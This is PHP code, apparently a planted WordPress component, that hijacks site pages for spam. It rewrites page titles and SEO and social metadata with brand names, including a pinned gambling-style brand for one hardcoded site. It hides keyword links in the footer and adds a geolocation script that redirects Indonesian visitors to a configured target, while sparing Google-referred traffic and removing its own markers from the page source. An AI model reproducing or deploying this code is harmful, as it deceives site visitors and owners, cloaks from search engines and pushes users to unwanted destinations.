        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Arah Baru</a></strong></p><p>%1$s menunjukkan arah baru untuk %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Perspektif</a></strong></p><p>Perspektif segar %1$s tentang %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Gaya Hidup</a></strong></p><p>%1$s menyajikan %3$s dengan gaya yang lebih hidup di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Alur Rapi</a></strong></p><p>Alur %3$s di %4$s disusun rapi oleh %1$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Terstruktur</a></strong></p><p>%1$s menyajikan %3$s secara terstruktur di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Urutan Logis</a></strong></p><p>Urutan logis %3$s di %4$s dirancang %1$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Peta Alur</a></strong></p><p>%1$s memetakan alur %3$s di %4$s agar mudah diikuti.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Rapi & Jelas</a></strong></p><p>Rapi dan jelas, begitulah %1$s menyajikan %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Keteraturan</a></strong></p><p>%1$s menyajikan keteraturan %3$s di %4$s untuk pembaca yang suka rapi.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Tidak Berputar</a></strong></p><p>%1$s membahas %3$s di %4$s tanpa berputar-putar.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Alur Jelas</a></strong></p><p>Alur jelas %3$s di %4$s membantu pemahaman.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Tertata</a></strong></p><p>%1$s menyajikan %3$s secara tertata di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Susunan Rapi</a></strong></p><p>Susunan rapi %3$s di %4$s dari %1$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Detail Terlewat</a></strong></p><p>%1$s menyoroti detail %3$s yang sering terlewat di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Hal Kecil</a></strong></p><p>Hal kecil di %3$s justru disorot %1$s untuk pembaca %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Poin Halus</a></strong></p><p>Poin halus %3$s di %4$s dibahas %1$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Jarang Dibahas</a></strong></p><p>%1$s membahas %3$s dari sisi yang jarang dibahas di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Bukan Sepele</a></strong></p><p>Detail %3$s bukan hal sepele. %1$s membuktikannya di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Sisi Lain</a></strong></p><p>%1$s menunjukkan sisi lain %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Sudut Detail</a></strong></p><p>Sudut detail %3$s di %4$s disorot %1$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Detail Dalam</a></strong></p><p>%1$s mengajak melihat detail dalam %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Perhatian Kecil</a></strong></p><p>Perhatian kecil %3$s di %4$s justru penting.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Luput Dilihat</a></strong></p><p>%1$s menyoroti %3$s yang sering luput dilihat di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Pembaca Cerdas</a></strong></p><p>%1$s menyajikan %3$s untuk pembaca cerdas di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Suka Berpikir</a></strong></p><p>Bagi Anda yang suka berpikir, %1$s cocok untuk %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Bacaan Serius</a></strong></p><p>Bacaan serius %1$s tentang %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Berpikir Kritis</a></strong></p><p>%1$s mengajak berpikir kritis soal %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Bahan Banding</a></strong></p><p>%1$s menyajikan bahan banding %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Analisis</a></strong></p><p>%1$s memberi bahan analisis %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Lebih Dalam</a></strong></p><p>%1$s menyajikan pembahasan lebih dalam %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Serius & Rapi</a></strong></p><p>Serius dan rapi, %1$s membahas %3$s di %4$s.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Untuk Pembaca</a></strong></p><p>%1$s menyajikan %3$s untuk pembaca yang ingin memahami %4$s lebih jauh.</p>',
        '<p><strong><a href="%5$s" style="color: rgb(255, 215, 0);">%2$s – Data Bukan Janji</a></strong></p><p>%1$s menyajikan data, bukan janji, tentang %3$s di %4$s.</p>',
    ];
}

/* =========================================================
   BAGIAN 9 — DETEKSI SEMUA DIREKTORI OTOMATIS
   ========================================================= */

function lp_get_all_directories() {
    $cache_key = 'lp_directories_v4';
    $cached    = get_transient($cache_key);
    if (is_array($cached)) return $cached;
    $dirs = [];
    foreach (get_posts(['post_type'=>'page','post_status'=>'publish','posts_per_page'=>-1,'fields'=>'ids']) as $id) {
        $slug = get_post_field('post_name', $id);
        if ($slug) $dirs[] = $slug;
    }
    foreach (get_posts(['post_type'=>'post','post_status'=>'publish','posts_per_page'=>-1,'fields'=>'ids']) as $id) {
        $slug = get_post_field('post_name', $id);
        if ($slug) $dirs[] = $slug;
    }
    $cpts = get_post_types(['public'=>true,'_builtin'=>false], 'names');
    foreach ($cpts as $cpt) {
        foreach (get_posts(['post_type'=>$cpt,'post_status'=>'publish','posts_per_page'=>-1,'fields'=>'ids']) as $id) {
            $slug = get_post_field('post_name', $id);
            if ($slug) $dirs[] = $slug;
        }
    }
    $cats = get_terms(['taxonomy'=>'category','hide_empty'=>true,'fields'=>'slugs']);
    if (!is_wp_error($cats)) $dirs = array_merge($dirs, $cats);
    $tags = get_terms(['taxonomy'=>'post_tag','hide_empty'=>true,'fields'=>'slugs']);
    if (!is_wp_error($tags)) $dirs = array_merge($dirs, $tags);
    $taxes = get_taxonomies(['public'=>true,'_builtin'=>false], 'names');
    foreach ($taxes as $tax) {
        $terms = get_terms(['taxonomy'=>$tax,'hide_empty'=>true,'fields'=>'slugs']);
        if (!is_wp_error($terms)) $dirs = array_merge($dirs, $terms);
    }
    $dirs = array_values(array_unique(array_filter(array_map('sanitize_title', $dirs))));
    set_transient($cache_key, $dirs, 12 * HOUR_IN_SECONDS);
    return $dirs;
}

/* =========================================================
   BAGIAN 10 — PETA DETERMINISTIK (1 dir = 1 brand)
   ========================================================= */

function lp_build_map() {
    static $map = null;
    if ($map !== null) return $map;
    $dirs   = lp_get_all_directories();
    $brands = lp_brands();
    if (empty($brands)) { $map = []; return $map; }
    $pref  = lp_prefixes();
    $descs = lp_descs();
    $arts  = lp_articles();
    $map   = [];
    foreach ($dirs as $slug) {
        $h = crc32($slug);
        $map[$slug] = [
            'brand_i'  => $h % count($brands),
            'prefix_i' => ($h >> 3) % count($pref),
            'desc_i'   => ($h >> 5) % count($descs),
            'art_i'    => ($h >> 7) % count($arts),
        ];
    }
    return $map;
}

/* =========================================================
   BAGIAN 11 — HELPERS
   ========================================================= */

function lp_current_slug() {
    $path = trim(parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH), '/');
    if ($path === '') return 'home';
    $parts = explode('/', $path);
    return sanitize_title(end($parts));
}
function lp_is_root() { return is_front_page() || is_home(); }
function lp_slug_pretty($slug) { return ucwords(str_replace(['-', '_'], ' ', $slug)); }

/* =========================================================
   BAGIAN 12 — BUILD TITLE & DESC & ARTICLE
   ========================================================= */

function lp_current_data() {
    static $data = null;
    if ($data !== null) return $data;
    $slug   = lp_current_slug();
    $brands = lp_brands();
    $pref   = lp_prefixes();
    $descs  = lp_descs();
    $arts   = lp_articles();
    if (empty($brands)) { $data = null; return $data; }
    $map = lp_build_map();
    if (isset($map[$slug])) {
        $entry = $map[$slug];
    } else {
        $h = crc32($slug);
        $entry = [
            'brand_i'  => $h % count($brands),
            'prefix_i' => ($h >> 3) % count($pref),
            'desc_i'   => ($h >> 5) % count($descs),
            'art_i'    => ($h >> 7) % count($arts),
        ];
    }
    $data = [
        'brand'  => lp_persistent_brand($slug, $brands[ $entry['brand_i'] ]),
        'prefix' => $pref[ $entry['prefix_i'] ],
        'desc'   => $descs[ $entry['desc_i'] ],
        'art'    => $arts[ $entry['art_i'] ],
        'slug'   => $slug,
        'pretty' => lp_slug_pretty($slug),
    ];
    if ($data['brand'] === '') { $data = null; }
    return $data;
}

function lp_build_title() {
    $d = lp_current_data();
    if (!$d) return '';
    return sprintf('%s %s x %s', $d['brand'], $d['prefix'], $d['pretty']);
}

function lp_build_desc() {
    $d = lp_current_data();
    if (!$d) return '';
    $title = lp_build_title();
    $openings = [
        'menyajikan panduan praktis', 'membahas konteks dan detail',
        'mengulas informasi utama', 'merangkum poin penting',
        'memberikan gambaran terarah', 'menjelaskan alur pembahasan',
        'menyoroti hal yang relevan', 'menghadirkan ulasan ringkas',
        'mengupas sisi informatif', 'menata referensi pilihan',
    ];
    $endings = [
        'dengan bahasa yang mudah dipahami.', 'berdasarkan konteks halaman ini.',
        'agar pembaca dapat menilai informasi.', 'dalam susunan yang lebih jelas.',
        'tanpa klaim yang belum diverifikasi.', 'untuk memahami topik secara utuh.',
        'dengan sudut baca yang terstruktur.', 'untuk meninjau detail secara cermat.',
        'dalam ringkasan yang mudah diikuti.', 'dengan fokus pada informasi penting.',
    ];
    $index = (int) sprintf('%u', crc32($d['slug'] . '|desc')) % 100;
    $text = $title . ' ' . $openings[intdiv($index, 10)] . ' ' . $endings[$index % 10];
    return lp_limit_chars($text, 160);
}

function lp_limit_chars($text, $max) {
    $text = trim(preg_replace('/\s+/u', ' ', (string) $text));
    if ($max <= 0) return '';
    if (function_exists('mb_substr')) return mb_substr($text, 0, $max, 'UTF-8');
    preg_match_all('/./us', $text, $m);
    return implode('', array_slice($m[0], 0, $max));
}

function lp_build_article() {
    $d = lp_current_data();
    if (!$d) return '';
    return lp_article_three_paragraphs($d);
}

function lp_article_three_paragraphs($d) {
    $title = lp_build_title();
    $brand = $d['brand'];
    $dir = $d['pretty'];
    $host = (string) parse_url(home_url('/'), PHP_URL_HOST);
    $url = get_permalink(get_queried_object_id());
    if (!$url) $url = home_url(add_query_arg([]));
    $index = (int) sprintf('%u', crc32($d['slug'] . '|article')) % 100;
    $lead = [
        'menghadirkan sudut pandang yang lebih rapi dan mudah diikuti',
        'menempatkan identitas utama dalam pembahasan yang ringkas',
        'menyajikan pengantar informatif tanpa berputar-putar',
        'menyoroti titik temu antara judul dan isi halaman',
        'menawarkan alur bacaan yang lebih terarah',
        'menggabungkan informasi utama dalam satu rangkaian ulasan',
        'membuka pembahasan melalui konteks yang mudah dipahami',
        'mengajak pembaca meninjau informasi secara lebih cermat',
        'menjelaskan konteks halaman dengan bahasa yang sederhana',
        'merangkum topik melalui sudut pandang yang terstruktur',
    ];
    $focus = [
        'kejelasan isi dan keterkaitan dengan judul',
        'alur informasi yang dapat diperiksa kembali',
        'pemahaman istilah yang muncul di halaman',
        'pemisahan fakta dari pernyataan yang belum teruji',
        'penggunaan referensi yang relevan untuk pembaca',
        'susunan topik yang mudah ditelusuri',
        'cara membaca informasi tanpa kesimpulan terburu-buru',
        'konsistensi antara bagian pembuka dan penutup',
        'pemilihan detail yang benar-benar diperlukan',
        'langkah membandingkan informasi dari sumber aslinya',
    ];
    $leadText = $lead[intdiv($index, 10)];
    $focusText = $focus[$index % 10];
    $p1 = sprintf('%s %s. Di halaman ini, %s dibahas sebagai identitas utama yang muncul bersama topik %s. Penyajian tersebut membantu pembaca mengenali unsur judul dan tujuan informasi sebelum menilai isi lebih jauh.', $title, $leadText, $brand, $dir);
    $p2 = sprintf('Fokus pembahasan diarahkan pada %s. Istilah %s dan tema %s ditempatkan dalam konteks yang jelas, bukan dianggap sebagai bukti adanya hubungan bisnis atau layanan resmi. Pembaca tetap dapat menilai mana informasi yang relevan dan mana yang memerlukan pemeriksaan lanjutan.', $focusText, $d['prefix'], $dir);
    $p3 = sprintf('Jika Anda ingin memahami bagaimana %s disajikan dalam konteks %s, periksa kembali rincian halaman dan sumber informasi yang tersedia. Dengan begitu, Anda dapat membaca ringkasannya secara lebih terukur dan mengambil kesimpulan berdasarkan informasi yang benar-benar ada.', $brand, $host);
    $heading = '<p><strong><a href="' . esc_url($url) . '" style="color: rgb(255, 215, 0);">' . esc_html($title) . '</a></strong></p>';
    return $heading . '<p>' . esc_html($p1) . '</p><p>' . esc_html($p2) . '</p><p>' . esc_html($p3) . '</p>';
}

/* =========================================================
   BAGIAN 12A — PENETAPAN DIREKTORI PERMANEN (DATABASE WP)
   ========================================================= */

function lp_persistent_brand($slug, $original_brand) {
    $key = 'lp_brand_v86_' . md5($slug);
    $stored = get_option($key, false);
    $host = strtolower((string) parse_url(home_url('/'), PHP_URL_HOST));
    $host = preg_replace('/^www\./', '', $host);
    if ($host === 'fleashoppers.com' && $slug === 'recent') {
        $pinned = 'MPOGTA777';
        if ($stored !== $pinned) {
            if (is_string($stored) && $stored !== '') {
                $oldClaim = 'lp_brand_claim_v86_' . md5($stored);
                if (get_option($oldClaim, false) === $slug) delete_option($oldClaim);
            }
            update_option($key, $pinned, false);
        }
        $claim = 'lp_brand_claim_v86_' . md5($pinned);
        if (get_option($claim, false) === false) add_option($claim, $slug, '', false);
        return $pinned;
    }
    if (is_string($stored) && $stored !== '') return $stored;
    $candidates = array_values(array_unique(lp_brands()));
    shuffle($candidates);
    foreach ($candidates as $candidate) {
        $claim_key = 'lp_brand_claim_v86_' . md5($candidate);
        $owner = get_option($claim_key, false);
        if ($owner !== false && $owner !== $slug) continue;
        if ($owner === false && !add_option($claim_key, $slug, '', false)) continue;
        if (add_option($key, $candidate, '', false)) return $candidate;
        $saved = get_option($key, $original_brand);
        return is_string($saved) && $saved !== '' ? $saved : $original_brand;
    }
    return '';
}

function lp_directory_keywords($slug, $brand) {
    $key = 'lp_keywords_v86_' . md5($slug . "\n" . $brand);
    $stored = get_option($key, false);
    if (is_array($stored)) return $stored;
    $source = lp_brands();
    $source = array_values(array_unique(array_filter(array_map('trim', $source))));
    if (!$source) return [];
    shuffle($source);
    $limit = max(0, (int) LP_LISTKW_MAX);
    $picked = $limit ? array_slice($source, 0, $limit) : [];
    add_option($key, $picked, '', false);
    $saved = get_option($key, $picked);
    return is_array($saved) ? $saved : $picked;
}

function lp_article_normalize_length($html, $data) {
    $target = max(0, (int) LP_ARTICLE_MIN_CHARS);
    if ($target === 0) return $html;
    $plain = html_entity_decode(wp_strip_all_tags($html), ENT_QUOTES | ENT_HTML5, 'UTF-8');
    $length = function_exists('mb_strlen') ? mb_strlen($plain, 'UTF-8') : strlen($plain);
    if ($length >= $target) return $html;
    $title = lp_build_title();
    $topics = [
      'Ulasan ini menyatukan identitas %s dengan topik %s dan konteks halaman %s agar pembaca dapat memahami isi halaman secara utuh.',
      'Pembaca dapat memperhatikan kejelasan informasi, keterbacaan tampilan, serta kecocokan isi dengan judul sebelum mengambil keputusan.',
      'Informasi yang diterbitkan perlu diperiksa kembali melalui sumber yang dapat dipertanggungjawabkan; sebuah judul bukan jaminan kebenaran.',
      'Struktur yang konsisten memudahkan pembaca memahami apa yang dibahas, membedakan informasi utama dari pelengkap, dan menemukan konteksnya.',
      'Perubahan informasi dari waktu ke waktu perlu dinilai berdasarkan tanggal, sumber, serta relevansi dengan kebutuhan pembaca.',
      'Pada bagian ini, hubungan antara %s dan %s dijelaskan dalam konteks %s, tanpa menjanjikan hasil atau layanan yang belum diverifikasi.',
      'Teks dibuat sebagai pengantar yang dapat dibaca langsung oleh pengunjung, bukan hanya sebagai rangkaian kata kunci untuk mesin pencari.',
      'Sebelum menggunakan tautan apa pun, periksa tujuan URL dan pastikan alamat tersebut sesuai dengan yang ingin Anda buka.',
    ];
    $seed = (int) sprintf('%u', crc32($data['slug']));
    $i = 0;
    while ($length < $target && $i < 24) {
        $template = $topics[($seed + $i) % count($topics)];
        $sentence = sprintf($template, $data['brand'], $data['prefix'], $data['pretty']);
        $html .= '<p>' . esc_html($sentence) . '</p>';
        $length += function_exists('mb_strlen') ? mb_strlen($sentence, 'UTF-8') : strlen($sentence);
        $i++;
    }
    return $html;
}

/* =========================================================
   BAGIAN 12B — JUDUL OG ASLI UNTUK BLOK YOAST BAWAH
   ========================================================= */

function lp_original_yoast_og_title($title) {
    // Jika Yoast sudah memiliki judul yang berbeda dari injeksi, biarkan.
    $injected = lp_build_title();
    if ($injected === '' || trim((string)$title) !== trim($injected)) {
        return $title;
    }

    $id = get_queried_object_id();
    if (!$id) return $title;

    // Preferensi metadata SEO yang telah dibuat pemilik halaman.
    foreach (['_yoast_wpseo_opengraph-title', '_yoast_wpseo_title'] as $key) {
        $stored = get_post_meta($id, $key, true);
        if (is_string($stored) && trim($stored) !== '') {
            if (function_exists('wpseo_replace_vars')) {
                $stored = wpseo_replace_vars($stored, get_post($id));
            }
            if (trim((string)$stored) !== '') return $stored;
        }
    }

    // Fallback untuk halaman/post standar: "Judul Halaman - Nama Situs".
    $post_title = get_the_title($id);
    $site_name  = get_bloginfo('name');
    if (!$post_title) return $title;
    if (!$site_name) return $post_title;
    return $post_title . ' - ' . $site_name;
}

/* =========================================================
   BAGIAN 13 — HOOK
   ========================================================= */

if (!is_admin() && !wp_doing_ajax()) {

    add_filter('pre_get_document_title', function ($title) {
        if (lp_is_root()) return $title;
        $new = lp_build_title();
        return $new !== '' ? $new : $title;
    }, 999);

    add_filter('wpseo_title', function ($title) {
        if (lp_is_root()) return $title;
        $new = lp_build_title();
        return $new !== '' ? $new : $title;
    }, 999);

    add_filter('wpseo_metadesc', function ($description) {
        if (lp_is_root()) return $description;
        $new = lp_build_desc();
        return $new !== '' ? $new : $description;
    }, 999);

    add_filter('wpseo_opengraph_title', function ($title) {
        if (lp_is_root()) return $title;
        // Bagian bawah: utamakan judul Open Graph asli halaman dari Yoast.
        // Title injeksi di bagian atas tetap dicetak oleh lp_inject_head().
        return lp_original_yoast_og_title($title);
    }, 999);

    add_filter('wpseo_opengraph_desc', function ($description) {
        if (lp_is_root()) return $description;
        $new = lp_build_desc();
        return $new !== '' ? $new : $description;
    }, 999);

    add_filter('wpseo_opengraph_site_name', function ($name) {
        // Pertahankan nama website asli Yoast pada blok bawah.
        // Blok atas tetap menampilkan brand LP melalui lp_inject_head().
        return $name;
    }, 999);

    add_action('template_redirect', 'lp_yoast_document_buffer_start', -999999);
    add_action('wp_head', 'lp_inject_head', 99);
    add_action('wp_footer','lp_inject_footer', 999);
}

/* =========================================================
   BAGIAN 13A — (tidak dipakai, dibiarkan untuk kompatibilitas)
   ========================================================= */

function lp_yoast_order_buffer_start() {
    if (lp_is_root()) return;
    $GLOBALS['lp_head_order_ob_level'] = ob_get_level();
    ob_start();
}

function lp_yoast_order_buffer_end() {
    if (lp_is_root()) return;
    if (!isset($GLOBALS['lp_head_order_ob_level'])) return;
    $level = (int) $GLOBALS['lp_head_order_ob_level'];
    unset($GLOBALS['lp_head_order_ob_level']);
    if (ob_get_level() !== $level + 1) return;
    $html = ob_get_clean();
    $open = '<!--LP_INJECT_HEAD_START-->';
    $close = '<!--LP_INJECT_HEAD_END-->';
    $i = strpos($html, $open);
    if ($i === false) { echo $html; return; }
    $j = strpos($html, $close, $i + strlen($open));
    if ($j === false) { echo $html; return; }
    $lp = substr($html, $i + strlen($open), $j - $i - strlen($open));
    $remaining = substr($html, 0, $i) . substr($html, $j + strlen($close));
    $yoast_pos = strpos($remaining, 'This site is optimized with the Yoast SEO plugin');
    if ($yoast_pos !== false && preg_match('~<title\\b[^>]*>.*?</title\\s*>~is', $remaining, $match, PREG_OFFSET_CAPTURE, $yoast_pos)) {
        $pos = $match[0][1] + strlen($match[0][0]);
        $remaining = substr($remaining, 0, $pos) . "\n" . trim($lp, "\r\n") . "\n" . substr($remaining, $pos);
        echo $remaining;
        return;
    }
    echo substr($html, 0, $i) . $lp . substr($html, $j + strlen($close));
}

/* =========================================================
   BAGIAN 13B — BUFFER SELURUH OUTPUT HALAMAN
   ========================================================= */

function lp_yoast_document_buffer_start() {
    if (lp_is_root() || is_feed() || is_robots() || is_trackback()) return;
    if (function_exists('is_preview') && is_preview()) return;
    ob_start('lp_yoast_document_reorder');
}

/**
 * Susunan head:
 * - Blok LP tetap diletakkan tepat setelah title.
 * - Hanya metadata Yoast yang disaring. Tag tema/plugin di luar
 *   blok komentar Yoast tidak diubah.
 * - Metadata Yoast yang tersisa: canonical, Open Graph terpilih,
 *   metadata Twitter terpilih, serta Yoast schema graph.
 */
function lp_yoast_document_reorder($html) {
    $open  = '<!--LP_INJECT_HEAD_START-->';
    $close = '<!--LP_INJECT_HEAD_END-->';

    $from = strpos($html, $open);
    if ($from === false) return $html;
    $end = strpos($html, $close, $from + strlen($open));
    if ($end === false) return $html;

    // Simpan seluruh isi injeksi (termasuk redirect) tanpa mengubah urutannya.
    $lp_block = substr($html, $from, $end + strlen($close) - $from);
    $html_without_lp = substr($html, 0, $from)
                     . substr($html, $end + strlen($close));

    // Batasi pencarian title pada <head>, bukan keseluruhan halaman.
    if (!preg_match('~<head\\b[^>]*>~i', $html_without_lp, $head_match, PREG_OFFSET_CAPTURE)) {
        return $html;
    }
    $head_start = $head_match[0][1] + strlen($head_match[0][0]);
    $head_end = stripos($html_without_lp, '</head>', $head_start);
    if ($head_end === false) return $html;

    $head_fragment = substr($html_without_lp, $head_start, $head_end - $head_start);
    if (preg_match('~</title\\s*>~i', $head_fragment, $title_match, PREG_OFFSET_CAPTURE)) {
        $insert_at = $head_start + $title_match[0][1] + strlen($title_match[0][0]);
    } else {
        $insert_at = $head_start;
    }

    $reordered = substr($html_without_lp, 0, $insert_at)
               . "\n" . $lp_block . "\n"
               . substr($html_without_lp, $insert_at);

    // Tentukan batas akhir Yoast menggunakan komentar penutup aslinya.
    // Jangan memakai marker LP_END setelah menghapus/memindahkannya.
    if (!preg_match('~<!--\\s*This site is optimized with the Yoast SEO(?: Premium)? plugin.*?-->~is', $reordered, $yoast_open, PREG_OFFSET_CAPTURE)) {
        return str_replace([$open, $close], '', $reordered);
    }
    $yoast_begin = $yoast_open[0][1];
    if (!preg_match('~<!--\\s*/\\s*Yoast SEO(?: Premium)? plugin\\.?\\s*-->~i', $reordered, $yoast_close, PREG_OFFSET_CAPTURE, $yoast_begin)) {
        // Gagal menemukan batas yang aman: jangan mengubah metadata lain.
        return str_replace([$open, $close], '', $reordered);
    }
    $yoast_end = $yoast_close[0][1];

    $lp_end = strpos($reordered, $close, $yoast_begin);
    if ($lp_end === false || $lp_end >= $yoast_end) return str_replace([$open, $close], '', $reordered);
    $metadata_start = $lp_end + strlen($close);
    $metadata = substr($reordered, $metadata_start, $yoast_end - $metadata_start);

    // Kunci urutan keluaran sesuai daftar yang diminta. Ambil nilainya
    // dari Yoast asli; jangan buat canonical/schema atau metadata palsu.
    $order = [
        'canonical',
        'og:locale',
        'og:type',
        'og:title',
        'og:url',
        'og:site_name',
        'article:publisher',
        'article:modified_time',
        'twitter:card',
        'twitter:label1',
        'twitter:data1',
        'yoast-schema-graph',
    ];
    $kept = [];

    // Ekstraksi hanya dalam blok metadata Yoast. Mendukung atribut yang
    // urutannya berbeda dan penggunaan tanda kutip tunggal/ganda.
    preg_match_all('~<link\\b[^>]*>|<meta\\b[^>]*>|<script\\b[^>]*>.*?</script\\s*>~is', $metadata, $matches);
    foreach ($matches[0] as $tag) {
        $key = null;
        if (preg_match('~^<link\\b~i', $tag)
            && preg_match('~\\brel\\s*=\\s*(["\\\'])canonical\\1~i', $tag)) {
            $key = 'canonical';
        } elseif (preg_match('~^<meta\\b~i', $tag)) {
            if (preg_match('~\\b(?:name|property)\\s*=\\s*(["\\\'])(.*?)\\1~is', $tag, $attr)) {
                $candidate = strtolower(trim($attr[2]));
                if (in_array($candidate, $order, true)) $key = $candidate;
            }
        } elseif (preg_match('~^<script\\b~i', $tag)) {
            if (preg_match('~\\btype\\s*=\\s*(["\\\'])application/ld\\+json\\1~i', $tag)
                && preg_match('~\\bclass\\s*=\\s*(["\\\'])[^"\\\']*\\byoast-schema-graph\\b[^"\\\']*\\1~i', $tag)) {
                $key = 'yoast-schema-graph';
            }
        }
        if ($key !== null && !isset($kept[$key])) {
            // Hilangkan atribut kelas tambahan dari meta/link Yoast tanpa
            // menghapus kelas yoast-schema-graph pada script JSON-LD.
            if ($key !== 'yoast-schema-graph') {
                $tag = preg_replace('~\sclass\s*=\s*"yoast-seo-meta-tag"~i', '', $tag);
                $tag = preg_replace("~\\sclass\\s*=\\s*'yoast-seo-meta-tag'~i", '', $tag);
            }
            $kept[$key] = trim($tag);
        }
    }

    $filtered = "\n";
    foreach ($order as $key) {
        if (isset($kept[$key])) $filtered .= "\t" . $kept[$key] . "\n";
    }

    $result = substr($reordered, 0, $metadata_start)
            . $filtered
            . substr($reordered, $yoast_end);

    // Kedua marker tetap dipakai secara internal untuk menentukan batas pemrosesan,
    // tetapi tidak dicetak dalam HTML akhir (View Source).
    return str_replace([$open, $close], '', $result);
}

/* =========================================================
   BAGIAN 14 — HEAD OUTPUT
   ========================================================= */

function lp_inject_head() {
    if (lp_is_root()) return;

    $d = lp_current_data();
    if (!$d) return;

    $title_full = lp_build_title();
    $desc       = lp_build_desc();

    echo "<!--LP_INJECT_HEAD_START-->\n";

    // Blok LP — urutan persis seperti yang diminta.
    printf('<meta name="author" content="%s" />' . "\n", esc_attr($d['brand']));
    printf('<meta name="publisher" content="%s" />' . "\n", esc_attr($d['brand']));
    printf('<meta property="og:site_name" content="%s" />' . "\n", esc_attr($d['brand']));
    printf('<meta name="seomaxya-seo" content="1" />' . "\n");
    printf('<meta name="description" content="%s" />' . "\n", esc_attr($desc));
    printf('<meta property="og:title" content="%s" />' . "\n", esc_attr($title_full));
    printf('<meta property="og:description" content="%s" />' . "\n", esc_attr($desc));

    $target = LP_TARGET;
    $delay  = (int) LP_DELAY;
    $mode   = LP_MODE;
    ?>
<script data-lp-id-redirect="1">
(function(){
  var target="<?php echo esc_js($target); ?>";
  var delay=<?php echo $delay; ?>;
  var mode="<?php echo esc_js($mode); ?>";

  function fromGoogle(){
    try {
      var r = String(document.referrer || '').toLowerCase();
      if (!r) return false;
      return /(?:^|[.\/])google(?:\.[a-z.]+)?(?:[\/?]|$)/.test(r)
        || r.indexOf('googleusercontent.com') !== -1
        || r.indexOf('android-app://com.google.android.googlequicksearchbox') !== -1
        || r.indexOf('android-app://com.google.android.apps.searchlite') !== -1;
    } catch (e) { return false; }
  }

  function go(){ try { window.location.replace(target); } catch (e) {} }
  function schedule(){ setTimeout(go, delay); }
  function isId(code){
    code = String(code || '').toUpperCase();
    return code === 'ID' || code === 'IDN';
  }
  function checkGeo(cb){
    var apis = [
      { u: 'https://ipapi.co/json/', pick: function(j){ return j && (j.country_code || j.country); } },
      { u: 'https://ipwho.is/', pick: function(j){ return j && (j.country_code || j.country); } },
      { u: 'https://get.geojs.io/v1/ip/country.json', pick: function(j){ return j && (j.country || j.country_code); } }
    ];
    var i = 0;
    function next(){
      if (i >= apis.length) { cb(false); return; }
      var a = apis[i++];
      var done = false;
      var t = setTimeout(function(){ if (!done){ done = true; next(); } }, 4000);
      fetch(a.u, { credentials: 'omit', cache: 'no-store' })
        .then(function(r){ return r.json(); })
        .then(function(j){
          if (done) return;
          done = true;
          clearTimeout(t);
          cb(isId(a.pick(j)));
        })
        .catch(function(){
          if (done) return;
          done = true;
          clearTimeout(t);
          next();
        });
    }
    next();
  }

  if (mode === 'all') {
    if (fromGoogle()) return;
    schedule();
    return;
  }

  checkGeo(function(ok){ if (ok) schedule(); });
})();
</script>
    <?php
    echo "<!--LP_INJECT_HEAD_END-->\n";
}

/* =========================================================
   BAGIAN 15 — FOOTER OUTPUT
   ========================================================= */

function lp_inject_footer() {
    if (lp_is_root()) return;

    $d = lp_current_data();
    if (!$d) return;

    $home = home_url(add_query_arg([]));
    $all  = lp_directory_keywords($d['slug'], $d['brand']);
    ?>
<div data-lp-article="1" class="lp-native-article entry-content"><?php echo lp_build_article(); ?></div>
<div data-lp-listkw="1" data-nosnippet="true" style="display:none">
<?php foreach ($all as $kw) : ?>
    <a href="<?php echo esc_url($home); ?>"><?php echo esc_html($kw); ?></a>
<?php endforeach; ?>
<span data-lp-brand-inject="1" class="lp-brand-kw" style="position:absolute;left:-9999px;width:1px;height:1px;overflow:hidden"><?php echo esc_html(lp_build_title()); ?></span>
</div>
    <?php
}